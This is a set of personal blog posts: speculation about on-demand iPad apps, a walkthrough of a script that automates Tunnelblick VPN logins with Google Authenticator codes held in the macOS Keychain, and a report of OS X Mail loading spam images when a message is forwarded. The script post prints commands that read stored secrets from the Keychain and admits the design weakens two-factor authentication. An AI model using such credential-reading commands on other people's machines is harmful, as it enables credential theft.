If we’re able to do something like this, then all kinds of new things suddenly become possible. The oft-rumored “side by side” application usage could be a possibility, for one. I’m not sure that’d work otherwise, as the apps just seem to need too much RAM. Of course, Apple could double the memory in the devices, but then apps would just expand to fill that size as well.

Another thing that might then be possible is sort of an “iTunes Match” for applications. The OS would keep frequently used applications on the device at all times, but only “install” rarely used apps on demand. If you’re only downloading bits of an app at a time, as needed, then this might actually be feasible.

It’s interesting in a way — some time ago, there was talk about “Just In Time” delivery of applications over the internet. It’s possible this was part of the promise of Java — I may have blocked the precise origins of the concept from my memory. I distinctly remember thinking at the time, hell no, if I buy an application I want a copy of it locally, all the time. That I wouldn’t trust that I’d be able to retrieve my applications over the net like that.

Well, guess what? We skipped right over JIT applications and put all our data in the cloud instead. Kind of funny, when I think about it.

As long as I’m rampantly speculating (on the day that WWDC opens, no less — I really should get these thoughts out when they happen and not months later…), let’s take this line of thinking to its logical, yet absurd, conclusion. If all our data is on the cloud, and if all our apps can be downloaded from the cloud on demand…why do we even need “our own” iPads? Just authenticate yourself to the iPad, and boom!, it looks like your iPad, with all your apps and data coming down when you ask for them. Done using the iPad? Sign out, and boom! again, all the data’s gone.

Of course, Apple has not shown any indication that they want to follow the concept of “logins” on an iPad, but it’s an interesting thought anyway. Go to Starbucks, borrow one of their store iPads, work with it as if it’s your own, then log out and leave it for the next user. Apple’s already toyed with some of this, as you can configure an OS X machine to allow guests to log in using Apple IDs (though it’s obviously not doing this data / application magic at all). Also, something akin to this was always hoped for with NeXT machines (though in that case, you’d carry your computing world around on a 256MB magneto-optical disk, which was damned cool for 1988).

I understand that this sort of change would be difficult to achieve, and possibly impossible in practice. But it’s certainly interesting to think of. And, putting aside crazy ideas about “logging in” to a friend’s iPad and replicating your entire environment on the fly, I still think that something like this would be very useful (and may even be required) for making apps much more responsive, especially when switching between applications.

And we could even use the iWatch and BTLE for seamless authentication!

Making Tunnelblick + Google Authenticator Easier to Use

I’ve been occasionally using a VPN that requires a Google Authenticator code to connect. I say “occasionally” because it’s a pain to use — I have to launch Tunnelblick (the VPN client I’m using on my Mac), then get the VPN password out of my password manager and paste it in, then open my phone, launch Google Authenticator, and enter the displayed tokencode next to my password.

It’s not horrible — but it’s awkward enough that I find myself looking for ways to avoid using this particular connection. Then the other day, a co-worker suggested using a script to dump the credentials into the VPN config on the fly and re-launch. And so, my lunchtime project was decided for me.

Tunnelblick won’t let you write credentials to the configuration file, but it will happily pull them from the OS X Keychain. So now I just need to find a library to write to the keychain. Turns out that’s easy, too — there’s a command at /usr/bin/security that does exactly what I need. Now I just need to make it look pretty.

And that’s what I’ve got now: “gtb” — Google(auth) + TunnelBlick. This script:

  1. For setup:
    1. Prompts you for your base VPN password and Google Authenticator Key
    2. Writes them to the keychain
  2. For normal use:
    1. Reads the password and key from the keychain
    2. Computes the current Google Authenticator tokencode
    3. Writes to the keychain entry Tunnelblick uses for the VPN password
    4. Launches Tunnelblick and opens the selected VPN

Delighted (or maniacal, your choice) laughter is left as the responsibility of the user.

How does it work? Well (after setup) the first thing we need to do is read the data from the keychain. For a Tunnelblick VPN called “MyVPN” this can be done with the aforementioned security command:

$ /usr/bin/security find-generic-password -gs Tunnelblick-Auth-MyVPN -a auth-data
keychain: "/Users/dschuetz/Library/Keychains/login.keychain"
class: "genp"
    0x00000007 <blob>="Tunnelblick-Auth-MyVPN"
    0x00000008 <blob>=<NULL>
    "cdat"<timedate>=0x32303134303533303134313430355A00  "20140530141405Z\000"
    "mdat"<timedate>=0x32303134303533303134313834385A00  "20140530141848Z\000"


The important bit is the last line, where the “secret” stored in the keychain entry lives (it’s always called “password,” no matter what you store there). My script reads that entry, splits on the ‘:’ into google_key and vpn_password fields, and then goes on to compute the tokencode.

Google Authenticator uses a system called the Time-based One-time Password Algorithm, or TOTP for short. Basically, it:

  1. Treats the key string as a Base-32 string and decodes it into a binary key
  2. Computes the current timestamp, based on the UNIX epoch, to a 30-second accurracy (that is, the timestamp number will increment by 1 every 30 seconds).
  3. Computes the HMAC-SHA1 of (key, timestamp)
  4. Reads the last byte of the resultant HMAC digest, and uses the lowermost 4 bits of that character to select an index into the digest
  5. Reads the four bytes from the digest, beginning with the index, as the base for the token
  6. Strips the most-significant bit off that 4-byte word and reduces the result (using modulo arithmetic) to a 6-digit number
  7. Returns the number (padded with leading zeroes if necessary)

One interesting problem I ran into: The Google key was 22 letters long (after stripping spaces). All the examples I could find online showed only 16 letter keys, but clearly this longer key worked fine in the iPhone application. However, it wouldn’t work in my script — I kept getting errors in the Base-32 decoding. Padding the string with additional “A”s worked — so my script takes the provided key string and tries that until it produces a valid Base-32 decoding.

There’s a great library that does all this on github (thanks, Tom Jaskowski), but I simply extracted the part that I cared about and incorporated it directly into the script. Here’s what it looks like in Python:

def get_totp_token(key_str):
    key = base64.b32decode(key_str)       # the authentication key
    num = int(time.time()) // 30          # epoch time to 30 sec
    msg = struct.pack('>Q', num)          # pack into a binary thing

  # take a SHA1 HMAC of key and binary-packed time value
    digest = hmac.new(key, msg, hashlib.sha1).digest()

  # last 4 bits of the digest tells us which 4 bytes to use
    offset = ord(digest[19]) & 15
    token_base = digest[offset : offset+4]

  # unpack that into an integer and strip it down
    token_val = struct.unpack('>I', token_base)[0] & 0x7fffffff
    token = token_val % 1000000

    return "%06d" % token                 # pad with leading zeroes

Once the tokencode has been computed, it’s appended to the base password, and written back into the keychain using security:

/usr/bin/security add-generic-password -U -s Tunnelblick-Auth-MyVPN -a password -w myVPNPassword123456

Then we use a little Applescript magic to launch the right VPN connection in Tunnelblick:

echo 'Tell app "Tunnelblick" to connect "MyVPN"' | osascript

…and that’s it!

Security of Keychain Items

A quick note on the keychain items themselves. The security application, by default, can access these items without prompting the user for their password. This means that, if you leave your desktop unlocked, anyone could walk up and extract the VPN credentials with a couple quick command line calls. So it’s best to open up the Keychain Access application, find the VPN’s “password” and “auth-data” entries, and secure them. Do this by removing the “security” application from the list of apps which can access the data at all times. (Leave Tunnelblick authorized to read the ‘password’ entry so it can launch more smoothly). You’ll also want to set the “Ask for Keychain Password” flag. Then, when you run the script, the Keychain will prompt you for your login password (to access the auth-data entry), and after that everything will happen magically without further intervention.

If you’d prefer to not store the Google Authenticator credentials in the keychain (but rely on the Google Auth app on your phone, for example), then enter “none” when settng up the Google Authenticator key, and the script will prompt for the current tokencode when it is run. Otherwise, technically, we’re kind of eliminating the “2” from “2-Factor” authentication.

I’ve posted the entire script as a gist on Github. I hope people find it useful, but remember, this is a hack written over lunch one day (and cleaned up during free moments over a couple days following). It might work perfectly for you. It might not work at all.

The basic concept should be applicable to other situations — I’d bet it could be changed to work with Viscosity (or other Mac VPN clients), or with other OTP codes, with minimal effort. But I use Tunnelblick, so that’s all it supports at the moment.


Inadvertent OS X Mail Loading of Images in SPAM


I just noticed an interesting bug. I got a SPAM email (which I fortunately get far fewer of today because of SpamHero). As I usually do when a SPAM leaks through, I forwarded it to SpamHero so they can use it to improve their filters.

Less than a minute after forwarding the email, I received another copy of virtually the same SPAM. Dutifully, I forwarded it again, but this time I noticed something strange: Though the Mail application identified the email as SPAM (and thus refused to load embedded images), the email as incorporated into the forwarding message window did load the images.

Inconsistent avoidance of SPAM images

It’s a commonly-repeated security recommendation that one shouldn’t load images by default when reading email, especially for suspicious messages, as the URLs for those images may be used for multiple potentially nefarious purposes. For one, they could use that to verify “Yes, this email address worked!” and then send more SPAM your way. Obviously we don’t want that to happen.

The irony is that the very act of forwarding the message to the filtering service may in fact be hurting, rather than helping. In this case, the URL was exactly the same in both emails, and didn’t appear to be uniquely created to help track which messages were successfully delivered.

Unfortuantely, I’m not sure there’s an easy way to prevent this from happening (other than Apple changing the app’s behavior).